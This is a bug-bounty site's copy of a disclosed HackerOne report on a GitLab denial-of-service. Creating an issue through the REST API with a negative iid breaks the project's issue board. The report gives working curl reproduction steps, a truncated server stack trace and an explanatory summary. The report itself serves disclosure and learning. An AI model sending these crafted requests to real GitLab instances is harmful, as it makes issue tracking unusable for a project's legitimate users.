Skip to content
DoS Disclosed report Beginner

Denial-of-Service on the Issue Functionality

A user with permission to create issues via the REST API could submit an issue with an invalid negative iid, which caused a 500 error but still created a malformed issue. This erroneous issue then broke the project's issue board, causing a denial-of-service on that functionality.

GitLab

Originally disclosed on GitLab

  • Fixed in 13 months
  • Disclosed after 13 months

HackerOne report #1050565 by kimht123 on 2020-12-04, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

> NOTE! Thanks for submitting a report! Please replace all the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!

Summary

A user, who is granted to make issue creation REST API request, can create an erroneous issue and can cause denial-of-service on the issue functionality of a project.

Steps to reproduce

User setting: Software Developer, and Personal Access Tokens scope is api.

  1. First I create a project.
curl -X POST 'localhost:8080/api/v4/projects' -d '{"path": "my-project-name"}' -H 'Private-Token: -WXoByNrNcKZhjfNjX88' -H 'Content-Type: application/json'  

The project-id of the created project is 17, and issue works fine as shown in screenshot_0.png.

  1. Then, I create an issue on the project with iid with -1, which is an erroneous iid.
curl -X POST 'localhost:8080/api/v4/projects/17/issues' -d '{"title": "my-issue-name", "iid":-1}' -H 'Private-Token: -WXoByNrNcKZhjfNjX88' -H 'Content-Type: application/json'  
  1. The request returns 500 internal server error. I call it again.
curl -X POST 'localhost:8080/api/v4/projects/17/issues' -d '{"title": "my-issue-name", "iid":-1}' -H 'Private-Token: -WXoByNrNcKZhjfNjX88' -H 'Content-Type: application/json'  

The request returns {"message":"Duplicated issue"} with 409 HTTP status code. Then, the issue board (sidebar-Issues-List) of the target project does not work as shown in screenshot_1.png.

Examples

There is no example project because I am afraid of side-effect on gitlab.com. But, I had confirmed the attack on my private project on gitlab.com, then I have deleted the project. I also have confirmed the attack on my local GitLab, which is installed with docker installation in my personal desktop.

What is the current bug behavior?

An user can create an issue with invalid iid value, even the request returns 500 internal server error. The erroneous issue causes denial-of-service on the issue board of the target project.

What is the expected correct behavior?

The request should return HTTP status code 400 that tells the user that iid value is wrong. The erroneous issue also must not be made.

Relevant logs and/or screenshots

Corresponding /var/log/gitlab/gitlab-rails/production.log is as follows:

The log of the first issue creation request, which returns 500 internal server error, is following:

Started POST "/api/v4/projects/17/issues?title=[FILTERED]&iid=-1" for 127.0.0.1 at 2020-12-04 11:18:40 +0000

ActionController::UrlGenerationError (No route matches {:action=>"realtime_changes", :controller=>"projects/issues", :id=>#<Issue id:112 root/my-project-name#-1>, :namespace_id=>#<Namespace id: 1, name: "Administrator", path: "root", owner_id: 1, created_at: "2020-12-03 07:03:22", updated_at: "2020-12-03 07:03:22", type: nil, description: [FILTERED], avatar: nil, membership_lock: false, share_with_group_lock: false, visibility_level: 20, request_access_enabled: true, ldap_sync_status: "ready", ldap_sync_error: nil, ldap_sync_last_update_at: nil, ldap_sync_last_successful_update_at: nil, ldap_sync_last_sync_at: nil, description_html: "", lfs_enabled: nil, parent_id: nil, shared_runners_minutes_limit: nil, repository_size_limit: nil, require_two_factor_authentication: false, two_factor_grace_period: 48, cached_markdown_version: 1703936, project_creation_level: nil, runners_token: nil, file_template_project_id: nil, saml_discovery_token: nil, runners_token_encrypted: nil, custom_project_templates_group_id: nil, auto_devops_enabled: nil, extra_shared_runners_minutes_limit: nil, last_ci_minutes_notification_at: nil, last_ci_minutes_usage_notification_level: nil, subgroup_creation_level: 1, emails_disabled: nil, max_pages_size: nil, max_artifacts_size: nil, mentions_disabled: nil, default_branch_protection: nil, unlock_membership_to_ldap: nil, max_personal_access_token_lifetime: nil, push_rule_id: nil, shared_runners_enabled: true, allow_descendants_override_disabled_shared_runners: false, traversal_ids: [], delayed_project_removal: false>, :project_id=>#<Project id:17 root/my-project-name>>}, possible unmatched constraints: [:id]):  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/journey/formatter.rb:57:in `generate'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:738:in `generate'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:769:in `generate'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:816:in `url_for'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:269:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:326:in `block in define_url_helper'  
  /opt/gitlab/embedded/service/gitlab-rails/config/application.rb:376:in `block (4 levels) in <class:Application>'  
  /opt/gitlab/embedded/service/gitlab-rails/app/models/issue.rb:466:in `expire_etag_cache'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/instrumentation.rb:160:in `block in expire_etag_cache'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/method_call.rb:27:in `measure'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/instrumentation.rb:160:in `expire_etag_cache'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:428:in `block in make_lambda'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:263:in `block in conditional'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:517:in `block in invoke_after'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:517:in `each'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:517:in `invoke_after'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:136:in `run_callbacks'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/callbacks.rb:825:in `_run_commit_callbacks'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/transactions.rb:339:in `committed!'  
  /opt/gitlab/embedded/service/gitlab-rails/config/initializers/forbid_sidekiq_in_transactions.rb:50:in `block in committed!'  
  /opt/gitlab/embedded/service/gitlab-rails/config/initializers/forbid_sidekiq_in_transactions.rb:8:in `skipping_transaction_check'  
  /opt/gitlab/embedded/service/gitlab-rails/config/initializers/forbid_sidekiq_in_transactions.rb:50:in `committed!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/transaction.rb:127:in `commit_records'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/transaction.rb:265:in `block in commit_transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:26:in `block (2 levels) in synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `handle_interrupt'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `block in synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `handle_interrupt'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/transaction.rb:255:in `commit_transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/transaction.rb:293:in `block in within_new_transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:26:in `block (2 levels) in synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `handle_interrupt'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `block in synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `handle_interrupt'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `synchronize'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/transaction.rb:278:in `within_new_transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/connection_adapters/abstract/database_statements.rb:280:in `transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/transactions.rb:212:in `transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activerecord-6.0.3.3/lib/active_record/transactions.rb:366:in `with_transaction_returning_status'  
  /opt/gitlab/embedded/service/gitlab-rails/app/services/issuable_base_service.rb:152:in `create'  
  /opt/gitlab/embedded/service/gitlab-rails/app/services/issues/create_service.rb:14:in `execute'  
  /opt/gitlab/embedded/service/gitlab-rails/ee/app/services/ee/issues/create_service.rb:17:in `execute'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/api/issues.rb:242:in `block (2 levels) in <class:Issues>'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:59:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:59:in `block (2 levels) in generate_api_method'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/notifications.rb:182:in `instrument'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:58:in `block in generate_api_method'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:341:in `execute'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:267:in `block in run'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/notifications.rb:180:in `block in instrument'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/notifications/instrumenter.rb:24:in `instrument'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/activesupport-6.0.3.3/lib/active_support/notifications.rb:180:in `instrument'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:247:in `run'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:322:in `block in build_stack'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:35:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:35:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/ee/lib/gitlab/middleware/ip_restrictor.rb:14:in `block in call'  
  /opt/gitlab/embedded/service/gitlab-rails/ee/lib/gitlab/ip_address_state.rb:10:in `with'  
  /opt/gitlab/embedded/service/gitlab-rails/ee/lib/gitlab/middleware/ip_restrictor.rb:13:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:35:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/api/api_guard.rb:208:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:35:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-oauth2-1.9.3/lib/rack/oauth2/server/resource.rb:20:in `_call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-oauth2-1.9.3/lib/rack/oauth2/server/resource/bearer.rb:8:in `_call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-oauth2-1.9.3/lib/rack/oauth2/server/abstract/handler.rb:17:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/error.rb:39:in `block in call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/error.rb:38:in `catch'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/error.rb:38:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape_logging-1.8.3/lib/grape_logging/middleware/request_logger.rb:60:in `block in call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape_logging-1.8.3/lib/grape_logging/middleware/request_logger.rb:58:in `catch'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape_logging-1.8.3/lib/grape_logging/middleware/request_logger.rb:58:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/middleware/base.rb:28:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-2.1.4/lib/rack/head.rb:14:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:231:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/endpoint.rb:225:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router/route.rb:58:in `exec'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:116:in `process_route'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:72:in `block in identity'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:91:in `transaction'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:70:in `identity'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:55:in `block in call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:132:in `with_optimization'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/router.rb:54:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/api/instance.rb:167:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/api/instance.rb:71:in `call!'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/grape-1.4.0/lib/grape/api/instance.rb:66:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/mapper.rb:19:in `block in <class:Constraints>'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/mapper.rb:48:in `serve'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/journey/router.rb:49:in `block in serve'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/journey/router.rb:32:in `each'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/journey/router.rb:32:in `serve'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/actionpack-6.0.3.3/lib/action_dispatch/routing/route_set.rb:834:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/elasticsearch_rack_middleware.rb:16:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/middleware/rails_queue_duration.rb:33:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/rack_middleware.rb:16:in `block in call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/transaction.rb:61:in `run'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/rack_middleware.rb:16:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/request_profiler/middleware.rb:17:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/gitlab-labkit-0.12.2/lib/labkit/middleware/rack.rb:19:in `block in call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/gitlab-labkit-0.12.2/lib/labkit/context.rb:32:in `with_context'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/gitlab-labkit-0.12.2/lib/labkit/middleware/rack.rb:18:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/jira/middleware.rb:19:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/middleware/go.rb:20:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/etag_caching/middleware.rb:13:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/batch-loader-1.4.0/lib/batch_loader/middleware.rb:11:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-attack-6.3.0/lib/rack/attack.rb:97:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/apollo_upload_server-2.0.2/lib/apollo_upload_server/middleware.rb:20:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/middleware/multipart.rb:234:in `call'  
  /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/middleware/handle_null_bytes.rb:19:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-attack-6.3.0/lib/rack/attack.rb:111:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/warden-1.2.8/lib/warden/manager.rb:36:in `block in call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/warden-1.2.8/lib/warden/manager.rb:34:in `catch'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/warden-1.2.8/lib/warden/manager.rb:34:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-cors-1.0.6/lib/rack/cors.rb:98:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-2.1.4/lib/rack/tempfile_reaper.rb:17:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-2.1.4/lib/rack/etag.rb:27:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/rack-2.1.4/lib/rack/conditional_get.rb:40:in `call'  
  /opt/gitlab/embedded/lib/ruby/gems/2.6.0/g

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the API did not validate that the iid parameter was a positive integer before saving the issue, and the subsequent error during cache expiration left a broken record.

Impact

An authenticated user with issue creation rights could cause a denial-of-service on the issue board of a project, making it unusable for others.

What the attacker needed

A GitLab account; permission to create issues via API; personal access token with api scope

The fix

The API should return a 400 error for an invalid iid and must not create the issue.

How it was found

  1. Create a project using the API with a personal access token that has api scope.
  2. Send a request to create an issue on that project with a negative iid value.
  3. Observe that the request returns a 500 internal server error.
  4. Send the same request again and observe a 409 conflict response saying the issue is duplicated.
  5. Check the project's issue board and see that it no longer works.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An issue tracker lets people report bugs or tasks. Each issue normally gets a number (called iid) that must be positive. The attacker sent a request with a negative number, and the system saved the bad issue anyway, which then made the issue list page stop working for everyone on that project.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.